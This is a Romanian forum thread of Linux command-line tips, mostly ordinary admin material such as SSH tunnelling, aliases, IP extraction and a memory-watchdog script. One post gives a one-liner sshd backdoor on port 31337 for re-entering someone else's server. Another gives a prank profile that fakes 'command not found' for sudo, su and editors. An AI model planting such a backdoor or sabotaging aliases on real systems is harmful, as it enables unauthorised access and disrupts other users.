pyth0n3 Posted January 14, 2012 Author Report Posted January 14, 2012 SSH Tunnel (SOCKS Proxy Forwarding) ssh -D 8080 target_ip SSH Tunnel (SOCKS Proxy Forwarding) with /sbin/nologin or /sbin/false directive set Urmatoarea linie de cod face exact ce face bitvise si putty sau oricare alt softwaressh -N -D 8080 target_ipDisable sshd forwarding Urmatoarea linie de cod blocheaza forwarding-ul in sshd asadar nu va mai permite crearea unui tunnel sau proxy sockssed -i'.bak' '/TcpForward/d' /etc/ssh/sshd_config && echo AllowTcpForwarding no >> /etc/ssh/sshd_config && kill -HUP `cat /var/run/sshd.pid`Note:Acum fiecare c***t de software face wrapping pe acest principiu si majoritatea din voi cred ca face miracoleInca o data am demonstrat si sper sa inteleaga fiecare ca nologin e doar o directiva care nu permite logarea user-ului dar nu are treaba cu forwarding-ul sau cu crearea unui proxy socks .Toate aceste directive vin setate direct in serverul ssh pe care toti ratatii il numesc in mod gresit root Root este un simplu user care la randul lui poate avea restrictii in cazul in care vine setat initial un access control de tipul MACMandatory Access Control.Pe scurt folosind acest tip de control i se pot pune restrictii si userului root.Se creaza regulile pentru fiecare user se incarca in sistem si se arunca cheia, asadar nimeni nu poate face mai mult decat ii vine permis initial sa faca .Sper sa va fie cat de cat clar conceptul de baza sa nu mai intalnim errori stupide pe viitor. Quote
backdoor Posted February 13, 2012 Report Posted February 13, 2012 Daca vreti sa faceti misto de un regular user , punetii asta in profil si chimbati ownership cu root:root si file atribute 0600; Usefull administration commandsalias ifconfig="echo $1 error fetching interface information: Device not found"alias iptables="echo Try `iptables -h' or 'iptables --help' for more information."alias w="echo -bash: w: command not found"alias whoami="echo Un bou"alias last="echo -bash: last: command not found"alias netstat="echo -bash: netstat: command not found"alias lsmod="echo -bash: lsmod: command not found"alias insmod="echo -bash: insmod: command not found"alias uname="echo -bash: uname: command not found"alias su="echo -bash: su: command not found"alias sudo="echo -bash: sudo: command not found"; Editorsalias mc="echo -bash: mc: command not found"alias mcedit="echo -bash: mcedit: command not found"alias vi="echo -bash: vi: command not found"alias pico="echo -bash: vi: command not found"; Editors utilalias cat="echo -bash: cat: command not found"alias awk=""echo -bash: awk: command not found"alias grep="echo -bash: grep: command not found"Sigur o sa ii ia un pic sa se prinda ce naiba se intamplapyth0n3 eu zic sa te apuci sa iti scrii propriul shell , eventual bazat pe python. 1 Quote
pyth0n3 Posted February 13, 2012 Author Report Posted February 13, 2012 pyth0n3 eu zic sa te apuci sa iti scrii propriul shell , eventual bazat pe python.Already Done!IPython: Productive Interactive ComputingI-am aplicat cateva modificari , suporta module , functii , linii de cod scrise in python si in oricare alt shell E cross platform si vine integrat cu orice shell , eu l-am integrat cu Korn Shell si i-am adus functii personalizate E mai mult decat un shell , e un framework si poate fi in acelasi timp si un penetration tool , debugger, editor, webserver, ssh client, ftp ,etc . Quote
pyth0n3 Posted April 30, 2012 Author Report Posted April 30, 2012 Convert Ascii to HexCharacter and string to escaped hex with newline C style syntaxecho word |xxd -p | sed 's/../\\x&/g;s/:$//'Character and string to escaped hex without newline C style syntaxecho word |xxd -p | sed 's/0a/ /' | sed 's/../\\x&/g;s/:$//'Convert Decimal to HexNumeric constants to escaped hex C style syntax (echo obase=16; echo "12345")| bc | sed 's/^/0x/' Quote
bcman Posted October 30, 2012 Report Posted October 30, 2012 OS:LinuxGet machine MACsudo ifconfig | grep -i HWaddr | awk '{print $5}'Acesta e sistemul meu:System : LinuxRelease : 3.6.0-sabayonPlatform : Linux-3.6.0-sabayon-i686-Intel-R-_Pentium-R-_4_CPU_2.40GHz-with-gentoo-2.2Machine : i686iar la mine aceast? comand? nu a func?ionat. Pentru Sabayon (?i probabil, orice distro Gentoo-based) comanda este:sudo ifconfig | grep -i ether | awk '{print $2}' Quote
aelius Posted October 30, 2012 Report Posted October 30, 2012 (edited) Pentru Sabayon (?i probabil, orice distro Gentoo-based) comanda este:sudo ifconfig | grep -i ether | awk '{print $2}'Pentru orice linux:ifconfig eth0 | sed -ne 's/.*\(..:..:..:..:..:..\).*/\1/p'Nota: merge chiar si la FreeBSD (doar ca nu ai eth0 acolo). Edited October 30, 2012 by aelius Quote
tromfil Posted February 17, 2013 Report Posted February 17, 2013 Deoarece am recitit topicul, am zis s? îl readuc în aten?ia tuturor. E foarte bun de citit. Probabil voi ad?uga ?i comenzi.Voi ce mai folosi?i?ps: L-am f?cut ?i sticky. Quote
phreak Posted April 25, 2013 Report Posted April 25, 2013 (edited) O adaugare la postul lui Flubber :Folosirea alias pentru treburi extrem de repetitive precum compilarea programelor usoare :1. Faci un fisier compile.py in acelasi directory cu sursele in care pui comanda gcc deci ceva de genul :import osos.system('g++ one.cpp two.cpp three.cpp main.cpp -lfirstlib -lsecondlib')2. Creezi aliasurile : alias cc='rm -f a.out;compile 2>&1 | sed /Compilation/s//`printf "\33[36mCompilation\033[0m"`/'alias compile='/usr/bin/time -f "Compilation finished in %E" python compile.py'Si iese asta : Aliasurile ajuta foarte mult si pentru lucruri foarte scurte precum 'apt-cache search' .. cand cauti cate 20 de librarii intr-un timp scurt ajuta mult sa ai un "alias s='apt-cache search' " s.a.m.dEu folosesc multe alias-uri asa ca le salvez cu alias savealias='alias > ~/alias' si le incarc cu source ~/alias Configuratie simpla screen : Salvezi in ~/.screenrc urmatoarele : vbell off # Scapi de enervantul visual bell din mysql sau alte aplicatii de genulaltscreen on # Nu se salveaza output-ul din aplicatii precum vimtermcapinfo xterm ti@:te@ # Se salveaza tot output-ul din screen in terminal ( nu mai e limitat doar la cate linii are fereastra Configuratie simpla vim : Pentru culori mai de doamne ajuta trebuie sa modificati setarile din putty : la Connection -> Data -> Terminal-type string puneti xterm-256color~/.vimrc set t_Co=256 " Use 256 colorscolorscheme molokai " Use theme molokaiset mouse=a " mouse scroll in putty, pentru copy si paste trebuie sa folositi <Shift> + Left/Right clicksyntax onset rulerset hlsearchPentru tema molokai : mkdir -p ~/.vim/colors/wget -O ~/.vim/colors/molokai.vim http://www.vim.org/scripts/download_script.php?src_id=9750 Edited April 25, 2013 by phreak Quote
malsploit Posted August 26, 2013 Report Posted August 26, 2013 (edited) extrage ip-uri dintr-un fisiergrep -Eo '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' file extrage email-uri dintr-un fisiergrep -o '[^:]*@[^:]*' file.txtsorteaza ip si elimina duplicat cat ip | sort | uniqfor ip in 192.168.1.{1..255}; do ping -c 1 -t 1 $ip > /dev/null && echo “${ip} is up”; done Edited October 24, 2013 by hate.me 1 Quote
tromfil Posted February 13, 2014 Report Posted February 13, 2014 Extrage IP-urile alocate ?i le pune într-un array, în afar? de 127.0.0.*. În caz c? dori?i s? v? juca?i cu propriile scripturi/paneluri de administrare poate fi util.mapfile -t IPs < <(ifconfig | grep -o 'inet addr:[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}' | grep -v "127.0.0" | awk 'BEGIN {FS=":"} {print $2}')Le afi?a?i cu echo ${IPs[0]}1,2,3 ?i tot a?a.ar putea fi îmbun?t??it?, dar e ok ?i a?a. 1 Quote
Silviu Posted February 13, 2014 Report Posted February 13, 2014 Genereaza pentru o lista de ip-uri, hostname-urile.for i in `cat ip.txt`donslookup $i |grep name |awk '{print $NF}' |sed 's/.$//' >> hosts.txtdoneSursa: Zatarra. Quote
Elohim Posted February 14, 2014 Report Posted February 14, 2014 (edited) simplest sshd backdoor ever.ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=31337spawns sshd backdoor on port 31337, you can login with root/bin/ftp/mail/anyuser without password*.*backdoor pe portul 31337, se poate loga cu orice user, fara parolaCredite: /KingcopeL.E. userul X trebuie sa fie deja logat im timp ce intram pe backdoor. Edited February 14, 2014 by Elohim Quote
tromfil Posted February 14, 2014 Report Posted February 14, 2014 @Elohim: Nu m? prind de ce ai putea s? te loghezi f?r? parol?.Am zis c? poate nu am în?eles ceva ?i am f?cut practic, de?i...Nu te po?i loga f?r? parol?. Ai doar un daemon de ssh ascultând pe un alt port care este blocat de firewall, cel mai probabil.Îmi scap? ceva? Quote
Elohim Posted February 14, 2014 Report Posted February 14, 2014 @Elohim: Nu m? prind de ce ai putea s? te loghezi f?r? parol?.Am zis c? poate nu am în?eles ceva ?i am f?cut practic, de?i...Nu te po?i loga f?r? parol?. Ai doar un daemon de ssh ascultând pe un alt port care este blocat de firewall, cel mai probabil.Îmi scap? ceva?Pentru ca acea comanda sa mearga, userul X trebuie sa fie logat.Exemplu simplu :Am intrat pe serverul lui aelius cu userul brutus, am pornit acel mic backdoor, am iesit. Vreau sa reintru, o sa pot doar daca brutus este deja logat. Quote
em Posted March 9, 2014 Report Posted March 9, 2014 Atunci cand scrieti o comanda gresit o puteti corecta foarte usor^stringGresit^stringCorectvilie@swarm:~$ wgwt google.com-bash: wgwt: command not foundvilie@swarm:~$ ^wgwt^wgetwget google.comvilie@swarm:~$ ping google.cpmping: unknown host google.cpmvilie@swarm:~$ ^cpm^comping google.comPING google.com (173.194.113.14) 56(84) bytes of data.64 bytes from fra02s19-in-f14.1e100.net (173.194.113.14): icmp_req=1 ttl=48 time=37.7 ms Quote
fedorffixxzz Posted March 20, 2014 Report Posted March 20, 2014 Reverse (case) insensitive command lookup: CTRL + R in terminal si apoi tastare comandaexemplu:$ echo 11$ echo 33$ echo $PATH/usr/local/bin:/usr/bin:/bin:/sbin:/usr/sbin(reverse-i-search)`echo': echo 3 <-- ^R CTRL+R odata tastata comanda pentru a itera prin mai multe secvente Quote
em Posted August 4, 2014 Report Posted August 4, 2014 Al n-lea parametru din ultima comanda rulata (*nix).!!:n$ a b c d$ echo !!:2c Quote
tromfil Posted August 4, 2014 Report Posted August 4, 2014 Al n-lea parametru din ultima comanda rulata (*nix).$ a b c d$ echo !!:2cMerge ?i a?a:$ a b c d$ !:2$ cA n-a comand? din .bash_history / .zsh_history!n Quote
zekstein Posted August 4, 2014 Report Posted August 4, 2014 (edited) Gasire proces ce papa mult RAM dupa nume, terminare + log:Se inlocuie !!NAME!! cu ce aveti nevoie.Este folositor cand stiti ca un anumit proces mananca mult, si vreti sa il inchideti automat.Se face CRON pe fisier si se rezolva.Sper ca ajuta pe cineva, mie mi-a fost de folos.#! /bin/bash# Author : zekStein++ ( Adrian Constantin # b3kwz@yahoo.com )iMaxUsage=512000 #This is the maximum memory usage permited !#Here we took all the pids of the running processesiPids=$( ps -U root -u root -N | grep !!NAME!! | grep -o -P "(.*)(?=pts)");#Here we parse the PIDS and search for HIGH MEMORY USAGE !for i in $iPidsdo#Here we check all the usages for that PIDS !iMemoryUsage=$( pmap $i | awk -F"total" '{print $2}' | grep K | tr -d " " | tr -d "K" );#Here we will compare with the maximum MEMORY USAGE PERMITED!#Also, we kill the process and log it to know at any time who was the joker .if [ $iMemoryUsage -gt $iMaxUsage ]thensPidOwner=$(ps -ef | grep $i | grep -o -P '(.*)(?=$i)' | cut -d"r" -f1 | grep " "); # Unstable.sDateAndTime=$(date)kill $iecho "Data si ora : $sDateAndTime , utilizator : $sPidOwner ;" >> /home/InformatiiConsumRam.logfidone#Script job done ! Edited August 4, 2014 by zekstein Quote
em Posted August 21, 2014 Report Posted August 21, 2014 Uneori ave?i aliasuri dar nu le pute?i rula ca root.Trebuie s? pune?i in .bashrcalias sudo="sudo "De exemplu.ubuntu@ubuntu-stuff:~$ alias ualias u='uname -a; w'ubuntu@ubuntu-stuff:~$ uLinux ubuntu-stuff 3.13.0-29-generic #53-Ubuntu SMP Wed Jun 4 21:00:20 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux 19:26:30 up 41 days, 8:31, 2 users, load average: 0.01, 0.19, 0.18USER TTY FROM LOGIN@ IDLE JCPU PCPU WHATubuntu pts/0 10.42.0.2 19:24 6.00s 0.14s 0.00s wubuntu@ubuntu-stuff:~$ sudo usudo: u: command not foundubuntu@ubuntu-stuff:~$ alias sudo="sudo "ubuntu@ubuntu-stuff:~$ sudo uLinux ubuntu-stuff 3.13.0-29-generic #53-Ubuntu SMP Wed Jun 4 21:00:20 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux 19:26:41 up 41 days, 8:31, 2 users, load average: 0.01, 0.18, 0.18USER TTY FROM LOGIN@ IDLE JCPU PCPU WHATubuntu pts/0 10.42.0.2 19:24 1.00s 0.14s 0.00s w Quote
slardar Posted August 21, 2014 Report Posted August 21, 2014 Multe comenzi gasiti si aici : All commands | commandlinefu.com Quote
bpmircea Posted August 21, 2014 Report Posted August 21, 2014 Gasire proces ce papa mult RAM dupa nume, terminare + log:Se inlocuie !!NAME!! cu ce aveti nevoie.Este folositor cand stiti ca un anumit proces mananca mult, si vreti sa il inchideti automat.Se face CRON pe fisier si se rezolva.Sper ca ajuta pe cineva, mie mi-a fost de folos.#! /bin/bash# Author : zekStein++ ( Adrian Constantin # b3kwz@yahoo.com )iMaxUsage=512000 #This is the maximum memory usage permited !#Here we took all the pids of the running processesiPids=$( ps -U root -u root -N | grep !!NAME!! | grep -o -P "(.*)(?=pts)");#Here we parse the PIDS and search for HIGH MEMORY USAGE !for i in $iPidsdo#Here we check all the usages for that PIDS !iMemoryUsage=$( pmap $i | awk -F"total" '{print $2}' | grep K | tr -d " " | tr -d "K" );#Here we will compare with the maximum MEMORY USAGE PERMITED!#Also, we kill the process and log it to know at any time who was the joker .if [ $iMemoryUsage -gt $iMaxUsage ]thensPidOwner=$(ps -ef | grep $i | grep -o -P '(.*)(?=$i)' | cut -d"r" -f1 | grep " "); # Unstable.sDateAndTime=$(date)kill $iecho "Data si ora : $sDateAndTime , utilizator : $sPidOwner ;" >> /home/InformatiiConsumRam.logfidone#Script job done !eu il caut cu top si dupa aia omor procesul cu kill, ceva in genul asta:top | grep nume_programkill PID_de_program Quote
PingLord Posted October 27, 2014 Report Posted October 27, 2014 Pe linux , gasit userii ce au "bin/sh"cat /etc/passwd | grep "bin/sh" | cut -f1 -d ":" | sort Quote